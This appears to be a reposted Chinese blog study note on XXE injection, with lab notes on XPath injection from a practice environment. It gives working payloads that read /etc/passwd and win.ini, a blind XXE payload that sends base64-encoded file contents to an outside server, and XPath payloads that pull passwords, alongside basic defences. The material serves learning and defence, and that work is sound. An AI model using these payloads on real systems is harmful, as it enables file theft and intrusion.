【XXE學習】XML外部實體注入


一、XML外部實體注入介紹

1.1 XXE簡介

  XML外部實體注入(XML External Entity Injection)也就是人們(mian shi guan )常說的XXE啦,見名知意,就是對於不安全的外部實體進行處理時引發的安全漏洞

1.2 XXE可以做什么?

讀取本地文件

端口探測

.....

只要權限夠基本啥都能干了

1.3 XXE原理

XXE漏洞全稱XML External Entity Injection即xml外部實體注入漏洞,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等危害。xxe漏洞觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件。

xxe漏洞觸發的點往往是可以上傳XML文件約位置,沒有對上傳的XML文件進行過濾,導致可以上傳惡意的XML文件。

二、XML基礎知識

2.1 XML簡介

  XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。XML被設計為傳輸和存儲數據,其焦點是數據的內容,其把數據從HTML分離,是獨立於軟件和硬件的信息傳輸工具。

   注意:要點:libxml2.9.1及以后,默認不解析外部實體。Linux中需要將libxml低於libxml2.9.1的版本編譯到PHP中,可以使用phpinfo()查看libxml的版本信息。

下面看一個XML文檔的實例:有點類似於HTML,具體細節可以參照w3cschool的文檔查看。

 

 

2.2 DTD介紹

  DTD:Document Type Definition 即文檔類型定義,用來為XML文檔定義語義約束。可以嵌入在XML文檔中(內部聲明),也可以獨立的放在一個文件中(外部引用),由於其支持的數據類型有限,無法對元素或屬性的內容進行詳細規范,在可讀性和可擴展性方面也比不上XML Schema。

2.3 使用DTD實體攻擊的方式  

  下面再介紹一下實體 (ENTITY)整個概念,如果需要在XML文檔種頻繁的使用某一條數據,我們可以預先給這個數據起一個別名,也就是一個ENTITY,之后再在文檔種調用它。

  DTD實體的引用有內部聲明實體和外部引用實體的區別。按類型分則分為:內置實體,字符實體,通用實體,參數實體。

常見的在於參數實體和其他實體之間引用時的區別:  

 0x01 內部實體聲明

格式為:

<!DOCTYPE  文件名 [
<!ENTITY  實體名 "實體內容">
]>
定義好的ENTITY在文檔中通過“&實體名;”來使用。

 

例如:下面定義了一個name的實體,實體的值為Zh1z3ven,定義好了之后就可以在aaa這個文件內部通過&實體名;進行調用。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa[
<!ENTITY name "Zh1z3ven">
]>
<root>
<name>&name;</name>

上面展示的是一個內部DTD的聲明,而外部的DTD實體則需要通過URL來遠程調用一個.dtd文本文件,也或者可以利用file協議引用一個本地的文件;當然也支持其他的協議,不過不同的語言支持的協議不一樣,可以參照下圖。

 

 

0x02 外部實體調用

 1.利用file協議 :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY name SYSTEM "file:///c:/windows/win.ini" >
]>
<name>&name;</name>

2.利用http協議:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY name SYSTEM "http://127.0.0.1/123.txt" >
]>
<name>&name;</name>

 

 

 3 參數實體+外部實體

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "http://127.0.0.1/123.txt">
    %name;
]>

例子:

XML內容:

大致邏輯是通過參數實體% name調用test.dtd之后在XML里調用dtd中的test實體來讀取文件內容

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "http://127.0.0.1/test.dtd">
    %name;
]>
<d>&test;</d>

DTD(test.dtd)文件內容

 

 結果:

 

 三 XXE利用的幾種姿勢

1. 利用file協議讀取本地文件(如etc/passwd)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY name SYSTEM "file:///etc/passwd" >
]>
<name>&name;</name>

2.利用參數實體調用.dtd文件之后在XML里調用dtd中的聲明的實體來讀取文件內容

 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "http://127.0.0.1/test.dtd">
    %name;
]>
<d>&test;</d>

 

test.dtd內容:

<!ENTITY test SYSTEM "file:///etc/passwd">

3.盲XXE思路:

(Orz這里還未自己驗證,知識從網上搬運的,有環境的同學可以復現一下)

如果實戰場景下XML沒有回顯,可以利用構造好的payload在讀取存在XXE漏洞服務器文件的同時利用

php://filter將文件內容發送到攻擊者服務器,那么訪問服務器的web日志就可以看到此次攻擊結果。

 

ps:首先這是一個file關鍵字的get參數傳遞,
php://是一種協議名稱,php://filter/是一種訪問本地文件的協議,
/read=convert.base64-encode/表示讀取的方式是base64編碼后,
resource=/etc/passwd表示目標文件為/etc/passwd。
這個php://filter據說經常來構造ThinkPHP的RCE漏洞   ---Orz  :(

<!DOCTYPE a [ 
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://www.hackersb.cn/attack.dtd">
%dtd;
%mydata;
]>

這里日志獲取的內容記得base64解碼就好,通過看日志或者wireshark抓包都可以看到

attack.dtd內容為

<!ENTITY % all
"<!ENTITY &#x25; mydata SYSTEM "http://www.hackersb.cn/?%file">"
>

4.其他思路

既然可以使用file 那么也可以用http來造成SSRF或者利用gopher協議當然也可以探測端口等等

基本啥都能干了

 

四 關於XXE的防御

4.1 禁用外部實體

如PHP中的libxml_disable_entity_loader(true);

其他語言:

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

 

4.2 過濾用戶提交的XML數據

如SYSTEM或者PUBLIC以及一些協議 file等



4.3 附上寫本文的參考連接

https://security.tencent.com/index.php/blog/msg/69

https://www.hackersb.cn/hacker/211.html

php://filter妙用

php://filter在實戰當中的奇技淫巧

https://www.freebuf.com/sectool/156863.html

https://www.hackersb.cn/hacker/211.html

https://thief.one/2017/06/20/1/

https://github.com/CHYbeta/Web-Security-Learning#xxe

 

 

 

 

(PS:下面是做web_for_pentester時XML注入的一些筆記 懶得刪了 可以直接略過 )

 

 

ENTITY實體:

如果在XML文檔中需要頻繁使用某一條數據,我們可以預先給這個數據起一個別名。即一個ENTITY,然后再在文檔中調用它。

XML定義了兩種類型的ENTITY,一種在XML文檔中使用,另一種在為參數在DTD文件中使用。

ENTITY的定義語法:

<!DOCTYPE  文件名 [
<!ENTITY  實體名 "實體內容">
]>
定義好的ENTITY在文檔中通過“&實體名;”來使用。

例如:定義一個name值為“Tom”,就可以在XML任何地方引用。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name "Tom" >

]>
<root>
<name>&name;</name>
</root>

正常來說,DTD分為內部DTD與外部DTD,內部DTD包含在XML文檔中,外部DTD則通過URL引用.一個DTD文件是以.dtd結尾的文本文件 。前面還要加上SYSTEM,但是如果此處沒有任何過濾,我們完全可以引用系統敏感文件的,前提是頁面有回顯,否則你只引用了文件但不知道文件內容。

例如 Linux和Windows下的讀取路徑不一樣

//Linux下讀取/etc/passwd
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name SYSTEM "file:///etc/passwd" > ]> <name>&name;</name>

//Windows下讀取C:/windows/win.ini
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name SYSTEM "file:///c:/windows/win.ini" > ]> <name>&name;</name>

 

三、Example

Example1

下面先看一下后端代碼:

<?php require_once("../header.php"); ?>
Hello  
<?php
  $xml=simplexml_load_string($_GET['xml']);
  print_r((string)$xml);
?>
<?php require_once("../footer.php"); ?>

simplexml_load_string() 函數可以轉換形式良好的XML字符串為SimpleXMLElement對象

print_r()可以把字符串和數字簡單地打印出來,而數組則以括起來的鍵和值得列表形式顯示,並以Array開頭。但print_r()輸出布爾值和NULL的結果沒有意義,因為都是打印”\n”。因此用var_dump()函數更適合調試。打印關於變量的易於理解的信息,如果給出的是 string、integer 或 float,將打印變量值本身。如果給出的是 array,將會按照一定格式顯示鍵和元素。object 與數組類似。 記住,print_r() 將把數組的指針移到最后邊。使用 reset() 可讓指針回到開始處。

 

利用方法

先構造基本框架  注意&name后要有;原文應該是筆誤漏掉了。xml全部要寫到一行里,構造好的語句需要進行URL編碼

<!DOCTYPE xxx[<!ENTITY name "hacker">]><name>&name;</name>
//URL編碼:
%3C!DOCTYPE%20xxx%5B%3C!ENTITY%20name%20%22hacker%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2Fname%3

嘗試讀取本地文件/etc/passwd

<!DOCTYPE xxx[<!ENTITY name SYSTEM "file:///etc/passwd">]><name>&name;</name>

//URL編碼:
%3C!DOCTYPE%20xxx%5B%3C!ENTITY%20name%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2Fname%3E

 

 

Example2

后端代碼:

<?php require_once("../header.php"); 

  $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
      echo $node;
  } 
?>
<?php require_once("../footer.php"); ?>

可以看到源代碼先定義了一個$x變量,里面包含了一個xml。

然后把的 XML 字符串轉換為 SimpleXMLElement 對象,並賦值給$res

然后查詢了users里user里的name 值為$name的,並返回其所有父節點的message里面的值。

然后執行查詢,最后while循環顯示查詢的值。

 

XPath介紹:

XPath 是一門在 XML 文檔中查找信息的語言。XPath 可用來在 XML 文檔中對元素和屬性進行遍歷。

XPath 是 W3C XSLT 標准的主要元素,並且 XQuery 和 XPointer 都構建於 XPath 表達之上。

因此,對 XPath 的理解是很多高級 XML 應用的基礎。

 

XPath基本語法:

路徑表達式         結果
bookstore         選取 bookstore 元素的所有子節點。
/bookstore         選取根元素 bookstore。
bookstore/book     選取屬於 bookstore 的子元素的所有 book 元素。
//book             選取所有 book子元素,而不管它們在文檔中的位置。
bookstore//book     選擇屬於 bookstore 元素的后代的所有 book 元素,而不管它們位於 bookstore 之下的什么位置。
//@lang             選取名為 lang 的所有屬性。

/表示從XML文件中的根節點開始解析

//表示在XML文件中匹配已選擇的當前節點,且不考慮其位置關系XPath Axes(軸)軸可以定義當前節點的節點集,下面列舉了幾個常用的。

ancestor            選取當前節點的所有先輩(父、祖父等)。
ancestor-or-self    選取當前節點的所有先輩(父、祖父等)以及當前節點本身。
attribute            選取當前節點的所有屬性。
child                選取當前節點的所有子元素。
descendant            選取當前節點的所有后代元素(子、孫等)。
descendant-or-self    選取當前節點的所有后代元素(子、孫等)以及當前節點本身。
following            選取文檔中當前節點的結束標簽之后的所有節點。
namespace            選取當前節點的所有命名空間節點。
parent                選取當前節點的父節點。

了解了軸,再來了解一下,下面舉幾個例子更便於了解:

child::book            選取所有屬於當前節點的子元素的 book 節點。
attribute::lang        選取當前節點的 lang 屬性。
child::*            選取當前節點的所有子元素。
attribute::*        選取當前節點的所有屬性。
child::text()        選取當前節點的所有文本子節點。
child::node()        選取當前節點的所有子節點。
descendant::book    選取當前節點的所有 book 后代。
ancestor::book        選擇當前節點的所有 book 先輩。
ancestor-or-self::book    選取當前節點的所有 book 先輩以及當前節點(如果此節點是 book 節點)
child::*/child::price    選取當前節點的所有 price 孫節點。

 最后的最后,我們嘗試構造,還是注入的思路,先嘗試正確閉合,然后注釋掉后面沒用的。

?name=hacker' or 1=1]/parent::*/child::node()%00 
//%00注釋掉后面的語句
// /parent::*/child::node()查看當前節點的所有父節點的子節點

 

 

?name=hacker' or 1=1]/parent::*/password%00

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM